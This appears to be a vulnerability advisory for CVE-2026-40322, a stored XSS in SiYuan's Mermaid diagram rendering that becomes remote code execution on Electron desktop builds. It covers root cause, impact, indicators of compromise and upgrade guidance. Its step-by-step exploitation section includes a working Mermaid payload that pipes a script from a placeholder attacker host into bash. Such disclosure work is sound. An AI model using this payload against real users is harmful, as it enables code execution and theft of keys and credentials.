CVE-2026-40322: 
NixOS vulnerability analysis and mitigation

CVE-2026-40322 is a stored XSS vulnerability in SiYuan (an open-source personal knowledge management system) that escalates to arbitrary code execution (RCE) on Electron desktop builds. Mermaid diagrams are rendered with securityLevel: "loose", allowing attacker-controlled javascript: URLs to survive into the DOM via innerHTML injection. Affected versions are 3.6.3 and below; the issue was fixed in version 3.6.4. It was published on April 16, 2026, with a CVSS v3.1 base score of 9.0 (Critical) (GitHub Advisory, Feedly).

The root cause is improper neutralization of user-controlled input during web page generation (CWE-79) combined with improper code generation control (CWE-94). SiYuan's mermaidRender.ts reads Mermaid block content from data-content attributes and renders it using Mermaid 11.13.0 with securityLevel: "loose" and htmlLabels: true, which preserves href="javascript:..." links in the generated SVG. The resulting SVG is then injected directly into the DOM via renderElement.lastElementChild.innerHTML = mermaidData.svg without sanitization. On Electron desktop builds, windows are created with nodeIntegration: true, contextIsolation: false, and webSecurity: false, meaning any JavaScript executing in the renderer has direct access to Node.js APIs such as require('child_process') (GitHub Advisory).

On Electron desktop builds, a victim opening a note containing a malicious Mermaid block and clicking the rendered diagram node triggers arbitrary OS command execution as the current desktop user. This enables theft of local notes, credentials, tokens, SSH keys, browser data, and workspace secrets, as well as persistence by dropping files into the user profile or workspace. In browser/non-Electron contexts, the vulnerability remains a stored XSS issue capable of executing attacker-controlled JavaScript in the victim's session. The scope is changed (S:C), with high confidentiality, integrity, and availability impacts (GitHub Advisory).

No public proof-of-concept exploit code has been confirmed, and there is no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability requires low privileges (an attacker must be able to create or share a note) and one user interaction (the victim must click the rendered Mermaid diagram node). The EPSS score is approximately 0.047%, indicating a currently low probability of exploitation in the wild. No threat actor attribution or CISA KEV catalog listing has been identified (GitHub Advisory).

1. Craft malicious Mermaid block: Create a Mermaid flowchart with a click directive pointing to a javascript: URL, e.g.:

flowchart LR
  A["Click me"] --> B
  click A href "javascript:require('child_process').exec('curl http://attacker.com/shell.sh | bash')"

2. Deliver the payload: Insert the malicious Mermaid block into a SiYuan note via direct editing, document import, synced workspace item, shared workspace artifact, or a plugin-generated note accessible to the target victim.
3. Wait for victim interaction: The victim opens the note in SiYuan desktop (Electron build ≤3.6.3). SiYuan automatically renders the Mermaid diagram using mermaidRender() with securityLevel: "loose", preserving the javascript: href in the generated SVG.
4. Trigger execution: The victim clicks the rendered diagram node (e.g., node A labeled "Click me"). The javascript: URL executes in the Electron renderer context.
5. Achieve RCE: Because nodeIntegration: true and contextIsolation: false are set, require('child_process') is accessible, enabling arbitrary OS command execution as the current desktop user (GitHub Advisory).

• File System: Unexpected files created in /tmp/ (e.g., siyuan-mermaid-rce as demonstrated in the PoC); new scripts or executables dropped in the user profile or SiYuan workspace directory; unauthorized SSH keys added to ~/.ssh/authorized_keys.
• Process: Unusual child processes spawned by the SiYuan Electron process (e.g., bash, sh, curl, wget, python, node) visible in process trees; unexpected network connections initiated by child processes of SiYuan.
• Network: Outbound connections from the SiYuan process or its children to unknown external IPs or domains, particularly shortly after a note containing a Mermaid block is opened.
• Logs: SiYuan application logs showing Mermaid rendering of notes with click directives containing javascript: URLs; OS audit logs (e.g., auditd, macOS Unified Log) recording unexpected process execution under the SiYuan user account (GitHub Advisory).

Upgrade SiYuan to version 3.6.4 or later, which fixes the security vulnerabilities noted in the release changelog (SiYuan v3.6.4). For users unable to upgrade immediately, avoid opening notes from untrusted sources, restrict access to SiYuan instances, and do not click on Mermaid diagram nodes in notes of unknown origin. The recommended defense-in-depth fix includes changing Mermaid's securityLevel away from "loose", sanitizing SVG output before DOM insertion, and hardening Electron windows by enabling contextIsolation and disabling nodeIntegration (GitHub Advisory).

The vulnerability was reported by security researcher ch1nhpd and disclosed via GitHub Security Advisories (GitHub Advisory). Coverage appeared on The Hacker Wire shortly after disclosure (The Hacker Wire), and a technical write-up was published by Infinit Security (Infinit Security). Community discussion was noted on Bluesky, reflecting broader interest in Electron security boundaries and the risks of nodeIntegration: true configurations in desktop applications.